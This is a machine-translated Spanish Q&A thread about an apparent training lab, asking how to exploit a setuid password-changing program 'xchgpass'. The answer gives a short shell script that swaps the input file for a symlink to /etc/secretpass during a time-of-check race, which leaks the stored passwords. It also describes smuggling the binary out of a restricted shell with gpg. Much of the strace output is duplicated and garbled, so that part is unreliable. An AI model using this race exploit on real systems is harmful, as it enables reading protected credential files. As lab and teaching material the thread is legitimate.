software de Pentest con una condición de carrera

1

Tengo que probar un programa "xchgpass" que actúa como contraseña. Este "xchgpass" edita un archivo ubicado en / etc / secretpass.

xchgpass tiene establecido un bit setuid:

hacker@cours-info:~$ ls -l /usr/bin/xchgpass 
-rwsr-xr-x 1 level7 hackers 9992 Jan 18 08:22 /usr/bin/xchgpass

El paso secreto contiene el inicio de sesión y la contraseña de una aplicación. Debajo del permiso de / etc / secretpass:

-rw------- 1 level7 hackers 59 Jan 18 08:19 /etc/secretpass

xchgpass lee un archivo dado en los argumentos. El archivo dado contiene inicio de sesión y una nueva contraseña para un usuario. Si el inicio de sesión proporcionado en el archivo de entrada coincide con un inicio de sesión en / etc / secretpass, la contraseña del usuario en / etc / secretpass se actualizará.

El archivo de entrada fue formateado así:

2
alice:azertyui
bob:qsdfghjk

La primera línea fue el número de inicio de sesión que se procesará y la siguiente línea es el inicio de sesión con la nueva contraseña deseada.

Si ejecuto strace en xchgpass, tengo eso:

execve("/usr/bin/xchgpass", ["/usr/bin/xchgpass", "/dev/null"], [/* 19 vars */]) = 0
brk(0)                                  = 0x15be000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd84000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7012, ...}) = 0
mmap(NULL, 7012, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faf0fd82000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF
execve("./xchgpass", ["./xchgpass", "e"], [/* 22 vars */]) = 0
brk(NULL)                               = 0x1310000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd6204000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=135186, ...}) = 0
mmap(NULL, 135186, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f3bd61e2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF
hacker@cours-info:~$ ls -l /usr/bin/xchgpass 
-rwsr-xr-x 1 level7 hackers 9992 Jan 18 08:22 /usr/bin/xchgpass
-rw------- 1 level7 hackers 59 Jan 18 08:19 /etc/secretpass
2
alice:azertyui
bob:qsdfghjk
execve("/usr/bin/xchgpass", ["/usr/bin/xchgpass", "/dev/null"], [/* 19 vars */]) = 0
brk(0)                                  = 0x15be000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd84000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7012, ...}) = 0
mmap(NULL, 7012, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faf0fd82000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF
execve("./xchgpass", ["./xchgpass", "e"], [/* 22 vars */]) = 0
brk(NULL)                               = 0x1310000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd6204000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=135186, ...}) = 0
mmap(NULL, 135186, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f3bd61e2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P\tb00%pre%%pre%%pre%"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1870352, ...}) = 0
mmap(0x3080600000, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3080600000
mprotect(0x30807bf000, 2097152, PROT_NONE) = 0
mmap(0x30809bf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x30809bf000
mmap(0x30809c5000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30809c5000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e1000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e0000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61df000
arch_prctl(ARCH_SET_FS, 0x7f3bd61e0700) = 0
mprotect(0x30809bf000, 16384, PROT_READ) = 0
mprotect(0x3080425000, 4096, PROT_READ) = 0
munmap(0x7f3bd61e2000, 135186)          = 0
geteuid()                               = 1000
getuid()                                = 0
brk(NULL)                               = 0x1310000
brk(0x1331000)                          = 0x1331000
setresuid(-1, 0, -1)                    = 0
open("e", O_RDONLY)                     = 3
fstat(3, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(3, "1\ned:d\n", 4096)              = 7
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "number of logins to change: 1\n", 30number of logins to change: 1
) = 30
fstat(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "proceed [y/n] ?", 15proceed [y/n] ?)         = 15
read(0, y
"y\n", 1024)                    = 2
setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4
fstat(4, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(4, "1\ned:d\n", 4096)              = 7
fstat(3, {st_mode=S_IFREG|0600, st_size=7, ...}) = 0
read(3, "1\ned:2\n", 4096)              = 7
write(1, "user ed: changed password to d\n", 31user ed: changed password to d
) = 31
read(3, "", 4096)                       = 0
lseek(3, 0, SEEK_SET)                   = 0
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P%pre%%pre%%pre%%pre%%pre%"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1738176, ...}) = 0 mmap(NULL, 3844640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7faf0f7bb000 mprotect(0x7faf0f95c000, 2097152, PROT_NONE) = 0 mmap(0x7faf0fb5c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a1000) = 0x7faf0fb5c000 mmap(0x7faf0fb62000, 14880, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7faf0fb62000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd81000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd80000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7f000 arch_prctl(ARCH_SET_FS, 0x7faf0fd80700) = 0 mprotect(0x7faf0fb5c000, 16384, PROT_READ) = 0 mprotect(0x7faf0fd86000, 4096, PROT_READ) = 0 munmap(0x7faf0fd82000, 7012) = 0 geteuid() = 1000 getuid() = 1000 brk(0) = 0x15be000 brk(0x15df000) = 0x15df000 setresuid(-1, 1000, -1) = 0 open("/dev/null", O_RDONLY) = 3 fstat(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0 ioctl(3, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffe2b7e0ef0) = -1 ENOTTY (Inappropriate ioctl for device) mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x7faf0fd83000, 4096) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 write(1, "number of logins to change: 0\n", 30number of logins to change: 0 ) = 30 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd82000 write(1, "proceed [y/n] ?", 15proceed [y/n] ?) = 15 read(0, y "y\n", 1024) = 2 setresuid(-1, 1000, -1) = 0 open("/etc/secretpass", O_RDONLY) = -1 EACCES (Permission denied) dup(2) = 3 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7e000 lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, "cannot open secret file: : Permi"..., 45cannot open secret file: : Permission denied ) = 45 close(3) = 0 munmap(0x7faf0fd7e000, 4096) = 0 exit_group(1) = ? +++ exited with 1 +++
%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P\tb00%pre%%pre%%pre%"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1870352, ...}) = 0 mmap(0x3080600000, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3080600000 mprotect(0x30807bf000, 2097152, PROT_NONE) = 0 mmap(0x30809bf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x30809bf000 mmap(0x30809c5000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30809c5000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e1000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e0000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61df000 arch_prctl(ARCH_SET_FS, 0x7f3bd61e0700) = 0 mprotect(0x30809bf000, 16384, PROT_READ) = 0 mprotect(0x3080425000, 4096, PROT_READ) = 0 munmap(0x7f3bd61e2000, 135186) = 0 geteuid() = 1000 getuid() = 0 brk(NULL) = 0x1310000 brk(0x1331000) = 0x1331000 setresuid(-1, 0, -1) = 0 open("e", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0 read(3, "1\ned:d\n", 4096) = 7 close(3) = 0 fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0 write(1, "number of logins to change: 1\n", 30number of logins to change: 1 ) = 30 fstat(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0 write(1, "proceed [y/n] ?", 15proceed [y/n] ?) = 15 read(0, y "y\n", 1024) = 2 setresuid(-1, 1000, -1) = 0 open("/etc/secretpass", O_RDONLY) = 3 open("e", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0 read(4, "1\ned:d\n", 4096) = 7 fstat(3, {st_mode=S_IFREG|0600, st_size=7, ...}) = 0 read(3, "1\ned:2\n", 4096) = 7 write(1, "user ed: changed password to d\n", 31user ed: changed password to d ) = 31 read(3, "", 4096) = 0 lseek(3, 0, SEEK_SET) = 0 lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek) exit_group(0) = ? +++ exited with 0 +++
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P%pre%%pre%%pre%%pre%%pre%"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1738176, ...}) = 0 mmap(NULL, 3844640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7faf0f7bb000 mprotect(0x7faf0f95c000, 2097152, PROT_NONE) = 0 mmap(0x7faf0fb5c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a1000) = 0x7faf0fb5c000 mmap(0x7faf0fb62000, 14880, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7faf0fb62000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd81000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd80000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7f000 arch_prctl(ARCH_SET_FS, 0x7faf0fd80700) = 0 mprotect(0x7faf0fb5c000, 16384, PROT_READ) = 0 mprotect(0x7faf0fd86000, 4096, PROT_READ) = 0 munmap(0x7faf0fd82000, 7012) = 0 geteuid() = 1000 getuid() = 1000 brk(0) = 0x15be000 brk(0x15df000) = 0x15df000 setresuid(-1, 1000, -1) = 0 open("/dev/null", O_RDONLY) = 3 fstat(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0 ioctl(3, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffe2b7e0ef0) = -1 ENOTTY (Inappropriate ioctl for device) mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x7faf0fd83000, 4096) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 write(1, "number of logins to change: 0\n", 30number of logins to change: 0 ) = 30 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd82000 write(1, "proceed [y/n] ?", 15proceed [y/n] ?) = 15 read(0, y "y\n", 1024) = 2 setresuid(-1, 1000, -1) = 0 open("/etc/secretpass", O_RDONLY) = -1 EACCES (Permission denied) dup(2) = 3 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7e000 lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, "cannot open secret file: : Permi"..., 45cannot open secret file: : Permission denied ) = 45 close(3) = 0 munmap(0x7faf0fd7e000, 4096) = 0 exit_group(1) = ? +++ exited with 1 +++

Creo que una condición de carrera podría permitirme leer el archivo secreto. Pero no puedo crear un enlace duro.

¿Tienes alguna idea de cómo explotar mi aplicación?

EDIT 1: Carrera completa:

%pre%     
pregunta McKay1717 20.01.2017 - 13:54
fuente

1 respuesta

2

Finalmente he encontrado: En strace, podemos ver, abrir el archivo de entrada con el permiso de usuario actual:

setresuid(-1, 1000, -1)                 = 0
open("/dev/null", O_RDONLY)             = 3

El hack hack tiene un shell restringido y no tiene herramientas para descargar o cargar archivos. Pero gpg está permitido, así que tengo que usar gpg para convertir el binario del software a ascii. Luego copio y pego el ascii en una máquina virtual local con acceso completo a la raíz. He reproducido la envoltura suave con mi conocimiento. Así que, finalmente, hago una nueva réplica y descubro que el syscall ha sido ejecutado después del setuid. En esa franja podemos ver:

setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4

El archivo se lee de nuevo con setuid perm después de esperar la entrada del usuario. Así que podría reemplazar el archivo de entrada con un enlace simbólico. Porque si el inicio de sesión existe en el archivo secreto, se mostrará en la salida estándar con la nueva contraseña. Así que escribí un pequeño script de shell para reemplazar el archivo de entrada durante la ejecución del software.

echo "sleep 10; rm secretpass; ln -s /etc/secretpass" > sh
sh -x sh &
/usr/bin/xchgpass secretpass

Finalmente, pudimos ver con esta condición de carrera toda la contraseña almacenada en el archivo secreto.

    
respondido por el McKay1717 20.01.2017 - 19:00
fuente

Lea otras preguntas en las etiquetas